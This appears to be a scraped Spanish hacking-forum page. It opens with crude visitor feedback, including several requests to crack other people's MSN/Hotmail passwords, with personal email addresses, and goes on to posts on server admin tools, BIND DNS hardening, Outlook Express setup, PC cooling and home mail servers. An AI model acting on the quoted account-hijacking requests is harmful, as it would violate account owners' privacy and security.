CitarDescripción: es una basura no sirve infeliz

CitarDescripción: tengo algun virus

CitarDescripción: no se ve nada es algun falla en el INTERNTET

CitarDescripción: al mover el cursor pierde fursa

CitarDescripción: no puedo adivinar el ip del amigo con el que hablo

CitarDescripción: descargue el archivo msn descifra contraseñas y tenia un virus hijos de p**a!! menos mal k tngo el panda capullos ¬¬

CitarDescripción: Las descargas no se pueden bajar

CitarDescripción: yo bajo algunas cosas y cuando las boy a usar no hacen na

CitarDescripción: no me dice como puedo cambiar y saber las contraseñas de mis contastos y su respuesta correcta

CitarDescripción: como hago para saber la respuesta de una pregunta secreta del messenger???

CitarDescripción: por fa jaqueen el msn
XXXXXX@hotmail.com

yo sienpre contare con ustedes
bye

CitarDescripción: No reconoze la contraseña

CitarDescripción: ya entre en su servidor

XX@yahoo.com

CitarDescripción: quiero hackear algunos correos pero utilizo MD5 Y REALIZO LOS PASOS PARA HACERLO Y NO CONSIGO NADA...POR FAVOR ESPERO PUEDAN AYARME...SALUDOS Y GRACIAS
PD: POR FAVOR ENVIENME LAS CONTRASEÑAS A MI CORREO :darleneii0ii@hotmail.com


CitarDescripción: error

CitarDescripción: no puedo cojer los links

CitarDescripción: falta crack\'s

CitarDescripción: por favor quiero   saber el contraseño del correo que  enviado gracias

CitarDescripción: hola como estas bueno te escribo para decirte que  quiero saber  su contraseña de mi amigo  gracias

CitarDescripción: Necesito conseguir el passsword de mi mama, que le fue robado hace un mes por un hacker y ha cambiado el password. El mail de mi mama es:
mimizafiro@hotmail.com

En caso de hallarlo remitirlo ha jveronab@gmail.com


CitarDescripción: eh nose yo creo que este juego e suna ***** porqeu siempre tiene que ganar el otro y eso que estuve jugando 9 horas seguidas y no gane ni una ves!!!!!!!!!!!!!!!!!!! chau la say d emelro:p:p:p:p:p:p

CitarDescripción: QUE DE MAS INSTRUCCIONES POR QUE CASI NO SE LE EN TIENDE A SUS APUNTEDS GRACIAS
ATTE
MS13
GABRIEL

CitarDescripción: explicar bien

CitarDescripción: hijos de mil put@, no metan mas virus!!!!(\"boludo, y el pirata), si no tenia el norton antivirus, me muero!!!

CitarDescripción: mira yo copio esa cadena y lo pego arriba y no sale nada ta q, eres mas falso q, la biblia mi correo es robando_paswords@hotmail.com

CitarDescripción: lo que quiero saber es como puedo descifrar los codigos para acceder a las cuentas ajenas del los messenger

CitarDescripción: deseo saber acerca de el cambio contante de las claves en el encriptador y se que tu correo es una basura

renzo_usk@hotmail.com

CitarDescripción: ise que no aparezca mi correo ni mi nick pero si aparece mi correo mas no mi nick.

CitarDescripción: ni uno solo quiro saber cual es el programa para saber
la contraseña de las cuentas de hotmail
y quisiera que la pusieran el su web
sale nos bemos

CitarDescripción: no puedo jugar por internet

CitarDescripción: most of your application are infected or considered by norton like a torjjon.

CitarDescripción: ¿como uso un desifra contraseñas?

CitarDescripción:  estaaaaaaaa todo hechi una putaaaaa mierdaaaaaaa

CitarDescripción: PUCHA POR ACCIDENTE SOLTE UN TROYANO  QUE ESTA EL  SU PAGINA CON EL NOMBRE DE NET-ANTRAX EN EL MENU DE MSM, COMO OUEDO ELIMINARLO YA QUE DICE QUE TENGO QUE LEER UN ARCHIVO CONN EXTERCION REG PERO NO ME LO ENVIARON ..

AUXILIO


DARIOMENDOZA@YAHOO.COM


URGENTE

CitarDescripción: holas mi msn es diego_nob_@hotmail.com, yo queria que me mandan algun programa que pueda hackear msn bueno muchas gracias diego

CitarDescripción: ni uno de sus mugrosos archivos sirven no puedo abrir ninguno

CitarDescripción: Esta web es lenta, escasa y mala. Lo único bueno es el nombre.
Itentar mejorar chavalotes.....

CitarDescripción: He estado ojeando la página de los tipos de archivo y si quieres que te diga la verdad no es más que un montón de *****.

A ver listo PHP -> Personal Home Page?? tu eres un poco lento PHP es un acrónimo de Hypertext Pre-Processor, si tuvieras una mínima idea de Internet lo sabrías...

Pero eso no es todo, desde cuando una ISO es un archivo comprimido de WinRAR, yo pensaba que era el archivo estándar de imágenes de CD de windows... XML -> Documento HTML?? me gustaría verlo, en fin voy a dejar de mirarlo porque me está dando mucho asco...

CitarDescripción: tu tienes el culo roto

CitarDescripción: si les denuncian que pasa

CitarDescripción: si!!!!!!! tu p**a pagina esta llena de virus cabron!!!!!!!


Esto lo recibí en la lista de correo -->

Citartus nalgas son tan sencibles y caprichosas
#321
Admnistradores

AWStats
http://awstats.sourceforge.net/
El mejor para las estadisticas del apache, sin dudas. Requiere Perl 5.

phpSysInfo
http://phpsysinfo.sourceforge.net/
Completo analisis del PC, estado memoria, discos, etc. Requiere PHP

Xmailserver
Servidor de correo pop3 y smtp multiplataforma.
http://www.xmailserver.org

phpAdsNew
http://www.phpadsnew.com/one/
El mejor para administrar Banners, publicidad, etc. Requiere PHP y MySQL

phpMyAdmin
http://phpmyadmin.sourceforge.net/
Para administrar MySQL. Requiere PHP y MySQL (evidente no?)

Webmin
http://www.webmin.com
Administracion Via web de sistemas Linux/FreeBSD, etc. Muy completo, con modulos, acepta SSL, etc, etc.

ISPConfig
Panel de control gratuito tipo CPanel, Plesk, Ensim,
http://sourceforge.net/projects/ispconfig/

Webminstats
Módulo para el Webmin que muestra estadísticas detalladas del sistema en modo gráfico sobre CPU, Memoria, Tráfico, Usuarios, etc, etc. Tipo MRTG. Con gráficos y estadísticias de cada hora, semanal, mensual, etc.
http://webminstats.sourceforge.net/

Multi Router Traffic Grapher
http://people.ee.ethz.ch/~oetiker/webtools/mrtg/
Estadisticas de routers con ancho de banda, tráfico consumido, etc. Requiere router y snmp

HotSaNIC
http://hotsanic.sourceforge.net/
Estadísticas del sistema Linux (cpu, memoria, red, etc, etc, etc) con gráficos estilo MRTG

mytop - a top clone for MySQL
http://jeremy.zawodny.com/mysql/mytop/

Chroot/Jail
http://www.jmcresearch.com/projects/jail/
Permite crear entornos seguros para dar shell, por ejemplo.

Webmails

SquirrelMail
http://www.squirrelmail.org/
Webmail muy usado. Requiere IMPAP y PHP4

Horde
http://www.horde.org/
Webmail muy usado. Requiere IMPAP y PHP4

IlohaMail
http://sourceforge.net/projects/ilohamail/
Webmail. Requiere PHP4 y se conecta via pop3.

Null Webmail
http://sourceforge.net/projects/nullwebmail/
Escrito en c, se usa en cgi.





Venta on-line, Carrito de compra, Tienda on-line, Tiendas virtuales, eComercio, eCommerce


osCommerce
http://sourceforge.net/projects/tep/
http://www.oscommerce.com/
Permite crear tu tienda on-line. Gratuito. Require PHP.

PrestaShop Free Open-Source e-Commerce
http://www.prestashop.com/

Magento
http://www.magentocommerce.com/es




Webmasters


Drupal
Portal tipo php-nuke.
http://www.drupal.org/
En español:
http://drupal.badopi.org/

Overlib
javascript que permite que al pasar por encima de un enlace salga como una caja de texto con información extra, como un layer o una capa. Mejor ver el ejemplo, que es complicado de explicar.
http://www.bosrup.com/web/overlib/

PafileDB
http://www.phparena.net/
Administrador de descargas muy completo y adminstrable via web.
Ejemplo:
http://demo.phparena.net/pafiledb/

Coppermine
Galerías de fotos organizadas, administración, etc.
http://coppermine.sourceforge.net/

PHP-GTK
http://gtk.php.net/
#322
Mantener BIND actualizado.

Versión 9.x

Obteniendo información:

nslookup www.ejemplo.com
Server: localhost
Address: 127.0.0.1

Name: www.ejemplo.com
Address: 172.26.105.20

host www.ejemplo.com

www.ejemplo.com has adress 172.26.105.20
www.ejemplo.com mail is handled (pri=10) by mailhost.ejemplo.com
www.ejemplo.com mail is handled (pri=20) by mailbackup.ejemplo.com

Campos de información:

Tipos de registros:

SOA: Autoridad de la zona: Incluye la dirección de correo del administrador del DNS y varios números que señalan los tiempos de actualización, de caché y transferencia.

A: Registros de direcciones: La/s dirección/es que pertenecen a un cierto nombre dé máquina.

CNAME: Nombre cánonico: Para un cierto nombre de máquina, una referencia a otro nombre de máquina, en vez de a una dirección IP. Algo así como un enlace simbólico. Yo a veces le llamo alias, ejemplo, CNAME apuntando a un A.

PTR: Registro Puntero: El nombre de máquina asociado a una dirección IP.

HINFO: Información de una máquina: La arquitectura y el sistema operativo de esa máquina.

TXT: Texto descriptivo: Otro texto descriptivo sobre esa máquina, normalmente su propósito y su ubicación.

RP: Persona responsable: La dirección de correo de la persona responsable de es máquina.

Los registros HINFO y TXT no son necesarios.

Transferencia de zonas

Aqui empieza lo divertido.

Editar el fichero named.conf

Añadiendo un dns secundario (esclavo)

zone "elhacker.net" {
type slave; file "slave/elhacker.net";
   masters { 217.125.24.22; 217.125.24.23; };

Los servidores dns secundarios deben poder realizar transferencias de zonas con el servidor primario, de tal forma que mantengan toda su información actualizada. SIN EMBARGO, NO DEBERIAS PERMITIR A NINGUNA OTRA MAQUINA REALIZAR ESTE TIPO DE TRANSFERNCIAS.

Veamos esto ultimamente.

Si quieres permitir allow-transfers, hazlo bien almenos:

options {
...

allow-transfers {217.125.24.22;};
....
}

zone "elhacker.net"{
type master;
file "master/elhacker.net";
allow-transfers {192.168.14.20; 192.168.80.29;};
};

zone "elhacker.info"{
type master;
file "master/elhacker.net"
};

zone "elhacker.dot" {
type slave;
masters { 10.14.102.18; };
file "slave/elhacker.dot";
allow-transfers { none; };
}

Con esta configuracón, el dominio elhacker.INFO únicamente permitiría solicitudes de la transferncias de zona desde 217.125.24.22 (debido a las opciones globales). El dominio elhacker.net puede ser solo transferido por 192.168 etc y ninguna otra maquina podria hacer una transferencia del dominio elhacker.dot

Búsquedas inversas.

Las búsquedas inversas son una forma de obtener nombres de máquina partiendo de direcciones IP.

ftpserver IN CNAME 217-125-24-22
217-125-24-22 IN A 217.125.24.22

$ORIGIN 105.26.172.IN-ADDR.ARPA
85 IN PTR 217-125-24-22.elhacker.net

Asegurate que:

1.host ftpserver.elhacker.net
ftpserver.elhacker.net is a nickname for host 217-125-24-22.elhacker.net

host 217-125-24-22 has address 217.125.24.22

2. host 217-125-24-22.elhacker.net

217-125-24-22.elhacker.net has address 217.125.24.22

3. host 217.125.24.22
217-125-24-22.elhacker.net has address 217.125.24.22


Corrupción de la caché de BIND

Solo ocurre con versiones viejas de BIND.

Pero lo mejor es utilizar para tu servicio de nombres dos clases: uno interno y otro externo.

Si es posible ejecuta estos dos servidores de nombres de maquinas en maquinas distintas.

Listas  de acceso ACL en etc/named.conf

//servidor de nombres interno
acl "red-iterna"{
localhost; // importante!
10.0.0.0/24; // nuestas direcciones internas traducidas
};

Luego aplica esta lista de acceso añadiendo el siguiente bloque "options" en el fichero /etc/named.conf

//servidor de nombres interno
options{
allow-query { red-interna };
};

Caché:

//servidor de nombres externo
options
recursion no; // no responderás a consultas de zonas que no controles!
};

Si tienes varios servidores de nombres externos (deberia ser asi)

//servidor de nombres externo
acl "nuestros-servidores-dns"{
172.16.1.2 // ns1.example.com
172.16.2.2 // ns2.example.com
192.168.5.3 // ns3.example.com

zone "elhacker.net" { // nuestro nombre de dominio)
type master;
file "master/elhacker.net";
allow-query{
any; //todos pueden preguntar a este dominio!
};
allow-transfer{
nuestros-servidores-dns; // pero solo los servidores pueden transferir zonas
};
};

DNS Spoof.

Utilizar DNS Security (DNSSEC) que permite a los servidores DNS firmar sus respuestas.


Información sacada del libro:

"Hackers en Linux" de la editorial Mc-Graw Hill
#323
Para configurar Outlook Express con el fin de usar una cuenta de Hotmail:

1. Si ya tiene una cuenta de Hotmail, vaya directamente al paso 3. En caso contrario, inicie Outlook Express, seleccione Contratar nueva cuenta en el menú Herramientas y haga clic en Hotmail.


2. Siga las instrucciones que aparecen en pantalla para finalizar la configuración de la cuenta de Hotmail.


3. En el menú Herramientas, seleccione Cuentas, haga clic en Agregar y, a continuación, en Correo. Si su menú Herramientas no contiene Cuentas, es que no está utilizando Outlook Express.


4. Escriba su nombre y haga clic en Siguiente.


5. Haga clic en Ya dispongo de una dirección de correo electrónico y desearía utilizarla, escriba la dirección de correo electrónico de la cuenta de Hotmail, por ejemplo, minombre @hotmail.com, donde minombre es el nombre de usuario de Hotmail y, a continuación, haga clic en Siguiente.


6. En el cuadro Mi servidor de correo entrante es, haga clic en HTTP.


7. En el cuadro Mi proveedor de servicio de correo HTTP es, escriba Hotmail y, a continuación, haga clic en Siguiente.


8. En el cuadro Nombre de cuenta, escriba el nombre de la cuenta de Hotmail, en el cuadro Contraseña, escriba la contraseña de Hotmail y, a continuación, haga clic en Siguiente.


9. Haga clic en Finalizar.
#324
Software / ¿ Cuál es mejor software grabador ?
4 Noviembre 2002, 17:14 PM
¿ Cuál es mejor software grabador ?
#325
V 0.2
http://www.elhacker.net/mipc/

La iré haciendo on-line porque sino no me pongo nunca, asi que hoy haré un cacho, otro dia otro trozo, etc.

Primero empezaremos por algunos aspectos técnicos de refrigeración y luego mucho más adelante como overclockear, etc.

Pretende ser una guía prática para comprar también, y de como instalar todo lo que compras.

-Introducción

Pos esta claro, que si un procesador o chip esta overclockeado, tienes que aumentar tanto la frecuencia de trabajo "normal" como el voltaje, lo que supone CALOR. Yo aconsejaria que aunque no realices overcloking, tener un procesador o componentes bien refrigerados "fresquitos" es importante. Evitarás cuelgues del sistema, fallos de memoria, fallos del disco duro, alargar la vida del pc, etc, etc.

-Fuentes de alimentaicón

Esta claro que es un componente al que no se le suele dar mucha importancia, pero si lo piensas bien es el que da corriente a todo (cpu, memoria, discos, etc, etc). Así que tener una fuente de alimentación estable, garantiza un correcto funcionamiento del pc y alargar la vida de todos los componentes. Una posible solución es tener un SAI (los hay activos y pasivos como las fuentes, lo veremos más adelante). Pero sigo pensando que una fuente de alimentación es una buena inversión, si te gusta el tema claro.

Si tu fuente de alimentación es "Recomendada por AMD o Intel", siginifica que es una buena fuente. Ya que es estable (sin picos ni bajos), se considera estable valores que no variendel 5% (luego lo veremos).

Pero si realmente buscas algo excelente, esto es lo que tienes que mirar antes de comprar:

Active PFC  (Power Factor Correction)

Non-PFC offers around 0.5~0.6 PF (Power Frequency), 40%~50% power lost.

Active PFC provides more efficient PF(Power Frequency), 0.95~0.99, it means only 1%~5% power has gone.

¿Queda claro no? Si es active mucho mejor, se come los picos y las bajadas (como un sai activo). Si tienes un SAI y encima una fuente activa PFC, eres de los buenos.
La mayoria de las fuentes son Non PFC, por eso nunca lo ponen.

Otra cosa curiosa es que una fuente de alimentacion contra mas pese, mas buena es, no es un dato cientifico, pero suele ser as.

Double Ball-Bearing Fan Dual Fan

Ventilación de la fuente de alimentaicón, también es importante porque se calienta.

vale, la mayoria de las fuentes en sobrecalentarse se apagan automaticamente (hasta las mas cutres) pero mejor que no pase eso nunca. Lo normal es un ventilador trasero, pero las dual fan, tienen dos, y las hay triple fan, si además son double ball bearing, son de tipo bola y doble, esto lo veremos mas adelante en ventiladores (ya que al fin y al cabo son ventiladores). Puede pasar que el ventilador trasero se lllene de polvo y se tiene que limpiar de vez en cuando, sino se calienta y se apagará la fuente.

Algunas como la que yo tengo (no es por nada) tienen un sistema para controlar la velocidad del ventilador con varias posiciones:

Automatic --> Segun la temperatura los ventiladores giran a mas velocidad (rpm)
Low noise --> poca velocidad, poco ruido, pero se caliente.
Medium --> mitad, mitad.

Se le llama "Adjustable fan speed-Silent function", queda claro lo que es.

Gold Plated Connectors and fan grill for better
conductivity.

Esto ya es profesioná, las fuentes BUENAS, llevan una rejilla del conector que va la placa base, y las rejillas de los ventiladores son "gold plated".

Otra cosa son la potencia de la fuente.

Las hay desde 230w, 300w, 420w, 400w, 520w, 620w, etc.

Con una de 420w tienes de sobras para conectar bastante cosa (ventiladores, disco duro, etc). Si un dia conectas mucha cosa a tu pc y no te arranca, no te preocupes, haz un reset a la bios de tu placa base (CMOS) y ya volverá a ir, tanto la fuente como la placa base tienen un sistema que se "duermen" sino pueden arrancar el pc. Lo digo porque  a mi me ha pasado y es una putada.

Lo que realmente te interesa es que la fuente sea estable, es decir que dé la corriente bien:

los valores que se miran son los siguientes:

Fuente de alimentación +12V =~12,099, +5V=~4,945, +3V=~3,376, y Vcore=~1,776 (Gracias a la FA "Hiper", es muy, muy estable)

Datos medidos con el Asus PC Probe 2

Pueden haber variaciones, bueno SIEMPRE hay variaciones, nunca da 12V ni 12,099, pero lo importante es que no supere 5% y contra menos mejor, más estable es y mejor.

Luego hay algunas fuentes que estan construidas cada canal de corriente por separado, de manera que son aun mas estables, pero caras. Cada conector (va separado de otro) asi que es menos probable que falle y mas estable.

Luego también hay algunos "standards" y siempre es bueno que una fuente de alimentación cuente con eso.

Contra más potencia tenga la fuente de alimentación más conectores de corriente tienen y todas llevan conector especial para p4 y para amd, claro.

Las Marcas recomendadas
Enermax (tienen mucha fama)
Antec
Hiper

Otras marcas:
SuperFlower
ThermalTake

-Cajas (chasis del PC)

Para ventilar bien una caja

Las mejores cajas son de aluminio, y están integramente fabricadas en alumunio. Llevan tornillos de rosca, que no necesitan destornillador para apretarlos o aflojarlos. También hay estos tornillos de colores (mods).

El secreto básico es conseguir un buen flujo de entrada y otro de salida. Es decir un buen flujo de aire por toda la caja. Lo clásico, es dos ventiladores frontales con filtro en la parte frontal de la caja, y uno en la parte posteriror de la caja, para que entre aire frio y salga el aire caliente.

Esto es bastante importante, ya que una caja ventilada por dentro, pero sin flujo de entrada y salida no sirve para nada. Piensa que siempre será mas frio el aire de fuera de la caja que el de dentro, además es importante para refrigerar discos duros y otros componente, asi como la cpu, ya que el ventilador de la cpu no hace mas que coger el aire de dentro de la caja.

Las cajas de aluminio de gama alta, son bastante desmontables, puedes sacar y desmontar las bahias de 5,25 (CD-ROM) y 3 1/2 (Discos Duros) Vienen ya con los pines (conectores) para los leds (luces) de la caja con la placa base. Casi todas tienen tapas laterales que se pueden abrir fácilmente y algunas tapas son transparentes y con algunos otros "mods" que veremos más adelante.

Marcas recomedadas:
Lian-Li (Todas son cajas de gama alta)
ThermalTake


-Ventiladores

Bearing Tipe

Pueden ser sleeve o ball bearing. Los primeros duran menos ya que al girar vibran más. Además giran más lentos. Los ball bearing son los mejores, se llaman asi porque llevan un rodamiento como una bola, por eso se les llama "de tipo bola". Vibran menos y girán más rapidos y además duran mas.

Tamaños

El clásico ventilador de 8cm (80x80x25mm).

3 pin

Algunos ventiladores solo llevan 2 conectores, rojo y negro. El tercer pin es el que monitorea las rpm del ventilador (cable amarillo), no es imprescindible pero es recomendable.

Max air flow CFM

Cantidad de aire que es capaz de empujar o mover el ventilador. Es quizás el aspecto mas importante, contra mas aire mueva, mejor.

Speed RPM

La velocidad de gio se mide en RPM. Pueden haber variaciones del 10%, pero si el ventilador es bueno no deberia haber apenas variaciones.

La velocidad depende mucho del tamaño del ventilador. Contra mas pequeño sea mas rapido es capaz de girar (menos para mover).

En general, los ventiladores de 8cm, giran desde 3.300rpm hasta 5.600rpm. A mayor velocidad, más CFM y más ruido.

Life Time

Varia desde las 20.000 horas (los sleeve bearing), hasta las 50.000 o 80.000 horas de ball beargin o two ball bearing.

Eso son 5 años de vida de un ventilador y no está nada mal.

Noise

El ruido que genera un ventilador o varios puede ser muy grande. Está expresado en decibelios (db) y algunas ventiladores hacen bastante ruido asi que es importante mirar este valor. Si estamos viendo un dvd, no nos interesa un gran ruido de los ventiladores, ya que es bastante molesto. Queda claro que contra mas rpm, mas ruido hace..


Consumo y potencia de entrada

Reguladores RPM y control de fallos

Como hemos dicho el 3 cable (el amarillo) es unica y exclusivamente para monitoear el rpm del ventilador, asi que con algunos aparatos podemos modificar la velocidad de rpm, adaptandola  a nuestas necesidades, ya se por ruido, etc.

Marcas recomedadas:

Delta (dicen que son los mejores)
ThermalTake
JustCooler


- Rejillas y filtros

Puede parecer una tonteria, pero venden rejillas para los ventiladores por separado, de todas las formas y colores. Las clásicas con la rejilla que lleva cualquier fuente de alimentación, thermaltake también tiene rejillas de varios modelos.

Los filtros para ventiladores van muy bien. Algunas cajas los llevan de serie. Impiden que el polvo entre dentro de la caja, y se deben limpiar periodicamente, ya que sino no sirve de nada.

-Ventiladores de CPU

Base, cobre, aluminio, copper shim, etc

Modelos
Volcano 7, 7+, 9, etc
SwiftTech MCX-462
Globalwin
Titan

- Célcula Peltier

- Massilla térmica y silicona térmica

Diferencias, calidad, modo de empelo.

- Ventilación de componentes (discos duros, targetas gráficas)

- Refrigeración líquida.


"Reviews"

http://www.bit-tech.net/
http://www.3dxtreme.org/
http://www.overclockercafe.com/
http://www.tomshardware.com
http://www.guru3d.com
http://www.ngasis.com
http://www.overclockpc.org/

De compras
http://www.ibertronica.es
http://www.hardlimit.net

Fabricantes
http://www.coolermaster.com
http://www.thermaltake.com
http://www.globalwin.com
http://www.justcooler.com.tw
http://www.swiftnets.com
#326
Documento original de:
http://www.bandaancha.st/documentos.php?docid=23

Comparativa entre Servidores de Correo por Salva Gregori

Como veis el correo electrónico se ha convertido en una parte de la vida de una empresa o particular. Actúa como un cartero electrónico, que envía y recibe cartas, debería disponer de opciones flexibles de seguridad y posibilidad de administración remota. Una característica critica es la multitarea que permite (que a un servidor atender múltiples conexiones entrantes). Si el servidor tiene muchas peticiones se necesita que varias personas puedan conectarse simultáneamente al servidor. Dependiendo del número de usuarios a los que se de servicios, podremos elegir entre dedicar una máquina para el correo ó ejecutar el servidor de correo en la misma computadora que el servidor Web.

El protocolo de transferencia de mensajes simples (SMTP), el protocolo de oficina de correo POP3 y el protocolo de acceso a mensajes, versión 4 (IMAP4). Son tres de los más populares de envío de mensajes.

Debido al gran revuelo ocasionado por el filtrado de los servidores SMTP de Terra, y las dudas que ha generado, os proponemos instalar un servidor de correo propio, tanto POP3(entrante), como SMTP (Saliente). Y como es costumbre en BandaAncha, las propuestas son bajo licencia FREEWARE, o lo que es lo mismo, programas de libre uso o gratuïtos.

Programa Tipo de Server Tamaño Kb Observaciones LINK
EFS (Email Forwarding Server) POP3/SMTP  1.400 Recoge el email de su ISP y retransmite el mensaje a un mail server local (tal como MS Exchange). Valida el correo para su dominio y listas del correo. Requiere una sola cuenta y dominio, para ofrecer cuentas personalizadas.  Descargar
ArGoSoft Mail Server  STMP/POP3/Finger  1.400 Es muy compacto, solo ocupa 1Mb. No tiene ningunos requisitos específicos de memoria, y es muy fácil utilizar. Permite ilimitadas cuentas, y la autentificación del smtp. Retransmite los mensajes directamente a los repartidores de correo (MS Exchange). Esta versión libre es para uso personal y no utiliza direccionamientos múltiples de IP. Descargar
InetServ SMTP/POP3
DAYTIME/FINGER
WHOIS/TELNET
WEBMAIL  191 Tambien adjunta un interfaz del telnet y un interfaz del webmail (browser). Usted puede configurar cuentas múltiples del usuario, especificar opciones de relay... El interfaz es fácil de administrar para cualquier tipo de usuario. Descargar
EzMTS - Mail Transport System SMTP/POP3 102 La instalación para las funciones básicas del servidor requiere cerca de 5 minutos. Algunas de las características son: dominios múltiples, expedición del dominio, alias de usuarios... Descargar
SmartMail Server POP3 856 Da a la posibilidad para utilizar el email usando solamente una conexión Internet. Descarga y envía los correos para usted, el enviar usando su cliente es muy rápido. Incluye un interfaz basado en Web que permite leer y responder a su correo desde cualquier navegador. Descargar
Mercury/32 POP3 1.500 Proporciona servicios de correo tanto a un solo ordenador como a una red de área local. Tiene ayuda especial para el ambiente de Novell NetWare - integra con un LAN de NetWare exactamente de la misma manera que la versión de NLM. Puede sostener rendimiento de procesamiento de hasta 8.000 mensajes del correo por hora en sistemas convenientemente-equipados. El programa consiste en los módulos múltiples que se pueden activar dependiendo de sus necesidades. Mercury/32 viene con una lista larga de características avanzadas y es extremadamente standard, utilizando los protocolos correo-relacionados Internet principales y tiene características especiales diseñadas para el uso en ambientes del dialup. El programa es bastante complejo. Incluye mucha documentación.
Descargar
Hermes EMail Server SMTP/POP3  1.800 El servidor valida conexiones y valida el correo para la salida. Si el correo llega a un usuario local lo entrega en su bandeja, si no es así, lo envia a la cola para ser entregado posteriormente. También utiliza listas el enviar y el bloque del relays. Es Open Source. Descargar




Como muchos ya sabeis para utilizar este tipo de servidores de correo, bajo una adsl o cable, debeis desviar los puertos marcados en rojo para que funcionen correctamente, aunque tambien os hemos adjuntado los puertos más utilizados por los servicios de internet:

Servicio Puerto
FTP 21
SSH 22
TELNET 23
SMTP 25
DNS 53
FINGER 79
HTTP 80
POP3 110
NETBIOS 139

Para abrir los puertos podeis ver los documentos correspondientes a vuestro router, o firewall, en la sección de documentos de BandaAncha.St

-----------------------------------------------------------


Si te ha quedado alguna duda puedes ponerla en los foros para que otros usuarios puedan ayudarte.

Notas: He escrito este pequeño doc a partir de mi experiencia como usuario. No soy ningún experto en redes, así que si ves algo que no es correcto, por favor dímelo.
Este documento ha sido escrito por Salva Gregori. Se permite la copia y reproducción de este artículo siempre que se mencione la fuente y se incluya un hiperenlace hacia su ubicación original.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
#327
Documento Original de:
http://www.bandaancha.st/documentos.php?docid=36

Montar servidor casero sobre Windows: III. Servicio de correo por FreeBSD

Con el servicio de correo pasa lo mismo que con el de WEB, hay muchos programas libres que te puedes bajar e instalar para tener tu propio servidor de correo electrónico en tu casa y no depende así de servidores externos para mandar tu correo. Aquí comentaré algunos que puedes usar pero tu mismo te puedes buscar otro que te guste más o venga mejor a tus necesidades. En esta misma web ya existe una comparativa sobre diferentes servidores de correo para Windows que se distribuyen de manera gratuita. Es una comparativa muy buena y te invito a que la visites.

Primero hay que diferenciar entre un servidor SMTP y un servidor de POP3. Así a grandes rasgos podríamos decir que un servidor SMTP es el que se utiliza para que nosotros enviemos correo. Y un servidor POP3 es el que utilizamos para recoger el correo que nos han enviado. El servidor SMTP y POP3 podrían no estar en la misma máquina físicamente e incluso no estar incluidos en la misma aplicación. Los casos que vamos a tratar, el servidor POP3 y SMTP están en la misma máquina y las aplicaciones de las que voy a hablar incluyen el servidor POP3 y SMTP. Es un comienzo, a partir de ahí que cada uno juegue con su imaginación.

Llegado a este punto tengo que volver a molestar con el DNS. Como se hablaba en la primera parte de esta serie de documentos, es recomendable una entrada MX que apunte a la dirección IP donde está el servidor de correo. Pero, ¿únicamente es necesario eso? La respuesta es sí y no. Con eso el servicio va a funcionar sin problemas cuando nos envíen correo a nosotros, pero hay un pequeño detalle que se puede volver en un inconveniente. En la primera parte comenté algunos tipos de entradas que hay en el DNS (tipo A, CNAME y MX). Pues bien, existe la entrada inversa al tipo A que se llaman entradas PTR. De la misma manera que las entradas de tipo A relacionan un nombre con una dirección IP, las entradas PTR relacionan una dirección IP con un nombre. Por ejemplo:

Tipo A:
misubdominio.ods.org------------------172.26.0.34

Tipo PTR:
172.26.0.34---------------------------misubdominio.ods.org

Pues bien, algunos servidores de correo como los de yahoo o hotmail, cuando reciben un correo comprueban, a modo de protección contra el correo basura o SPAM, que existe una entrada PTR para la dirección de la que reciben el correo. Si esta entrada no existe, no podrías enviar correo a algunos servidores, y este suele ser un método de protección bastante extendido. Esta entrada PTR ni siquiera debe apuntar a isubdominio.ods.org, tal sólo debe existir y TU no puedes introducir esa entrada, tan sólo lo puede hacer tu proveedor de servicios de Internet.

Puedes comprobar si existe esta entrada con algún software de consultas DNS gratuitos, de los que hay muchos y seguro que en tu página favorita de descargas lo puedes conseguir. Algunos programas no te permiten realizar consultar PTR directamente, no hay problema porque puedes consultar por un nombre de la siguiente manera: Tienes que poner tu dirección IP alrevés seguido de la coletilla .in-addr.arpa. Por ejemplo, si la dirección es 172.26.0.34, tendrías que consultar por el nombre:

34.0.26.172.in-addr.arpa

Si te responde diciéndote que se corresponde con 172.26.0.34, es que existe entrada PTR.

Si no tienes una herramienta de DNS, haz un ping de la siguiente manera:

ping 34.0.26.172.in-addr.arpa

Casi todas las conexiones ADSL con IP estática las incluyen, podría existir algún problema con conexiones mediante módem o conexiones con IP dinámicas de diversos tipos.

Bueno, ahora que ya hemos aclarado esto -para que luego no me critiquen porque no les funciona-, vamos a hablar un poquito del software existente. No voy a repetir los servidores que se comentan en el documento "Comparativa entre servidores de correo" que se encuentra en esta misma sección ya que está muy bien y únicamente voy a aportar dos más:

El primero es xmail que puedes encontrarlo en http://www.xmailserver.org . Se distribuye bajo licencia GPL. Se echan de menos algunas opciones interesante pero funciona y muy bien.
El segundo y el que me parece más completo es MailEnable , que puede encontrarse en http://www.mailenable.com . Puedes bajarte la versión standard que es la gratuita y con ella tiene servicio SMTP, POP3 y te da la posibilidad de manejar listas de correo. Según dice en su página, sólo funciona sobre NT/2000, así que posiblemente también en XP aunque no se especifica nada. Se distribuye diversa documentación en formato pdf y contiene una buena base de datos sobre las consultas más frecuentes.
Personalmente MailEnable me parece bastante bueno, por ello voy a comentar un poco más sobre él. Después comentaré sobre ArGoSoft Mail Server que puede encontrarse en http://www.argosoft.com/applications/mailserver/ para quienes tengan Windows 95/98/ME.

MailEnable

MailEnable nos permite manejar múltiples dominios e infinitas cuentas. Se hace un poco de lío con el correo erróneo pero si se configura bien no dará problemas. Permite una buena gestión de las cuentas de correo pudiendo crear grupos de usuarios y además proporciona la posibilidad de establecer políticas de seguridad diversas y cuotas de correo personalizadas para cada usuario. Creo que contiene muchas opciones y es por eso por lo que considero que es de lo mejor. Personalmente no le he puesto a prueba con muchas conexiones simultáneas ni nada por el estilo, pero tampoco tendría que fallar.

Lo primero que hay que hacer es, para entendernos, algo así como "que nuestra máquina pertenezca al dominio que tenemos". Para ello debemos pulsar el botón derecho sobre Mi PC y elegir propiedades. Después vamos a  la pestaña de identificación de red y pulsamos el botón de propiedades. Allí nos aparece el nombre de nuestro equipo que si no tenía uno pues se lo podemos poner ahora. Después pulsamos sobre el botón "Más..." y en la casilla de texto introducimos nuestro dominio: misubdominio.ods.org. Aceptamos todo, se reiniciará el equipo y ya está.

